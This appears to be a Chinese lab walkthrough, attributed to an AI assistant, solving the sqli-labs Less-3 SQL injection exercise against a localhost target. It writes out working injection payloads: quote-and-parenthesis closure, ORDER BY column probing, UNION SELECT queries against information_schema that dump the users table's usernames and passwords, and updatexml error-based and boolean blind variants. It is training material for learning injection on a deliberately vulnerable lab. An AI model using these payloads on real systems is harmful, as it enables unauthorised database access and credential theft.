Sqli-Labs Less-3 靶场完整解题流程解析-豆包生成

Sqli-Labs Less-3 靶场完整解题流程解析

你作为网络安全初学者,希望我详细讲解sqli-labs-master/Less-3靶场的完整解题过程,并且对其中的难点知识点进行拆解、扩展,帮助你理解每一步的原理和逻辑。下面我会从环境准备→注入类型判断→闭合方式分析→信息爆破 一步步讲解,确保每个环节都清晰易懂。

前置知识:Less-3 核心背景

sqli-labs Less-3 是单引号+括号闭合的字符型SQL注入 靶场,后台核心SQL语句大致为:

SQL 复制代码
SELECT * FROM users WHERE id=('$id') LIMIT 0,1;

和数字型注入(id=1)、单纯字符型注入(id='1')的区别是:这里的参数被('')双层包裹,这也是解题的核心难点。


步骤1:判断是否存在SQL注入点

首先测试基础参数,确认注入点是否存在:

2.1 正常访问

访问URL:http://localhost/sqli-labs-master/Less-3/?id=1

页面返回:You are in...........,说明参数id=1能正常查询数据。

2.2 测试异常参数(判断注入类型)

访问URL:http://localhost/sqli-labs-master/Less-3/?id=1'

页面返回报错信息

Plain 复制代码
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
关键分析:

报错信息是解题的"钥匙"!我们拆解报错和后台SQL的对应关系:

  • 后台原语句:SELECT * FROM users WHERE id=('$id') LIMIT 0,1

  • 当输入id=1'时,代入后变成:SELECT * FROM users WHERE id=('1'') LIMIT 0,1

  • 多余的单引号('1'')导致SQL语法错误,说明这是字符型注入(数字型注入加单引号不会报这种语法错)。


步骤2:确定SQL语句的闭合方式(核心难点)

从报错信息near ''1'') LIMIT 0,1'可以拆解:

  • 原语句中id() + 单引号包裹 → ('$id')

  • 输入1'后,变成('1''),需要"闭合"多余的单引号和括号,让SQL语法恢复正常。

测试闭合方式:

访问URL:http://localhost/sqli-labs-master/Less-3/?id=1') --+

页面重新返回You are in...........,说明闭合成功!

难点讲解:闭合原理
  • 1'):用来闭合原语句的(' → 原语句变成id=('1')(前半部分闭合);

  • --+:是MySQL的注释符(--后需要加空格,URL中空格会被编码为+),作用是注释掉后面的) LIMIT 0,1,最终SQL语句变为:

    SQL 复制代码
    SELECT * FROM users WHERE id=('1') -- +') LIMIT 0,1;
    复制代码
    注释后的内容不会执行,语法完全正确。

扩展:注释符的替代方案

  • #:也是MySQL注释符,但URL中#是锚点,需要URL编码为%23,即id=1') %23

  • /*...*/:多行注释,如id=1') /* xxx */


步骤3:爆破字段数(确定union select的字段匹配数)

union select(联合查询)是显注的核心方法,必须满足前后查询的字段数一致,因此需要先确定表的字段数。

操作步骤:

  1. 访问:http://localhost/sqli-labs-master/Less-3/?id=1') order by 1 --+(正常)

  2. 访问:http://localhost/sqli-labs-master/Less-3/?id=1') order by 2 --+(正常)

  3. 访问:http://localhost/sqli-labs-master/Less-3/?id=1') order by 3 --+(正常)

  4. 访问:http://localhost/sqli-labs-master/Less-3/?id=1') order by 4 --+(报错)

结论:

users表有3个字段(id、username、password),这是union select的基础。

知识点扩展:order by的作用

order by N 表示按第N个字段排序,如果N超过表的字段数,就会报错,以此快速判断字段数,比手动猜更高效。


步骤4:使用union select 爆破数据库信息

union select需要满足两个条件:

  1. 前后查询字段数一致(已确定是3);

  2. 原查询无结果(用id=-1让原查询返回空),这样页面才会显示union的查询结果。

5.1 爆破当前数据库名

访问URL:

Plain 复制代码
http://localhost/sqli-labs-master/Less-3/?id=-1') union select 1,database(),3 --+

页面返回:DATABASE(): security,说明当前数据库是security

关键解释:
  • id=-1:让原查询SELECT * FROM users WHERE id=('-1')无结果(users表没有id=-1的记录);

  • database():MySQL内置函数,返回当前连接的数据库名;

  • 13:占位符(因为字段数要3个),可以替换成任意数字/字符串。

5.2 爆破数据库中的表名

利用MySQL的系统库information_schema(存储所有数据库/表/字段的元数据),查询security库下的所有表:

访问URL:

Plain 复制代码
http://localhost/sqli-labs-master/Less-3/?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

页面返回:TABLE_NAME: emails,referers,uagents,users,核心表是users(存储账号密码)。

难点讲解:information_schema 核心表
表名 核心字段 作用
information_schema.tables table_schema(库名)、table_name(表名) 查询指定库的所有表
information_schema.columns table_schema、table_name、column_name(字段名) 查询指定表的所有字段
关键函数:group_concat()

将多行结果拼接成一行(比如users表有多个字段,直接查会只显示一行,用这个函数能一次性看到所有表/字段),如果不用这个函数,页面只会显示第一个表(emails)。

5.3 爆破users表的字段名

查询security库下users表的所有字段:

访问URL:

Plain 复制代码
http://localhost/sqli-labs-master/Less-3/?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

页面返回:COLUMN_NAME: id,username,password,确认users表的核心字段是usernamepassword

5.4 爆破users表的账号密码

最终步骤:查询users表的所有账号密码:

访问URL:

Plain 复制代码
http://localhost/sqli-labs-master/Less-3/?id=-1') union select 1,group_concat(username,':',password),3 from security.users --+

页面返回(示例):

Plain 复制代码
USERNAME:PASSWORD: Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4

至此,Less-3靶场的核心数据已全部爆破出来。


扩展知识点:其他注入方式(应对过滤场景)

如果靶场过滤了union select,还可以用以下方式:

1. 报错注入(利用MySQL报错函数)

访问URL:

Plain 复制代码
http://localhost/sqli-labs-master/Less-3/?id=1') and updatexml(1,concat(0x7e,database(),0x7e),1) --+

页面报错显示:XPATH syntax error: '~security~',直接爆出数据库名。

  • updatexml():MySQL XML函数,参数错误时会报错并显示错误内容;

  • 0x7e:十六进制的~,用来分隔报错内容,避免和其他字符混淆。

2. 布尔盲注(无回显/无报错时)

通过判断条件真假来逐字符爆破:

  • 判断数据库名长度:id=1') and length(database())=8 --+(返回正常,说明长度是8);

  • 判断第一个字符:id=1') and ascii(substr(database(),1,1))=115 --+(115是s的ASCII码,返回正常);

  • 依次爆破每个字符,最终拼出数据库名。


总结(核心关键点)

  1. Less-3的核心是单引号+括号 的字符型注入,闭合方式为1') --+(重点是分析报错信息确定闭合符);

  2. union select是显注核心,需满足字段数一致+原查询无结果两个条件;

  3. information_schema是MySQL元数据核心库,是爆破数据库/表/字段的关键,配合group_concat()可一次性获取所有结果。

通过这个靶场,你需要掌握"判断注入类型→分析闭合方式→爆破字段数→union查询爆信息"的完整SQL注入思路,这也是所有显注类靶场的通用解题逻辑。

相关推荐
hedley(●'◡'●)28 分钟前
基于cesium和vue的大疆司空模仿程序
前端·javascript·vue.js·python·typescript·无人机
qq5_81151751530 分钟前
web城乡居民基本医疗信息管理系统信息管理系统源码-SpringBoot后端+Vue前端+MySQL【可直接运行】
前端·vue.js·spring boot
百思可瑞教育31 分钟前
构建自己的Vue UI组件库:从设计到发布
前端·javascript·vue.js·ui·百思可瑞教育·北京百思教育
百锦再31 分钟前
Vue高阶知识:利用 defineModel 特性开发搜索组件组合
前端·vue.js·学习·flutter·typescript·前端框架
CappuccinoRose1 小时前
JavaScript 学习文档(二)
前端·javascript·学习·数据类型·运算符·箭头函数·变量声明
这儿有一堆花1 小时前
Vue 是什么:一套为「真实业务」而生的前端框架
前端·vue.js·前端框架
全栈前端老曹1 小时前
【MongoDB】深入研究副本集与高可用性——Replica Set 架构、故障转移、读写分离
前端·javascript·数据库·mongodb·架构·nosql·副本集
NCDS程序员2 小时前
v-model: /v-model/ :(v-bind)三者核心区别
前端·javascript·vue.js
夏幻灵2 小时前
CSS三大特性:层叠、继承与优先级解析
前端·css
小杨同学呀呀呀呀2 小时前
Ant Design Vue <a-timeline>时间轴组件失效解决方案
前端·javascript·vue.js·typescript·anti-design-vue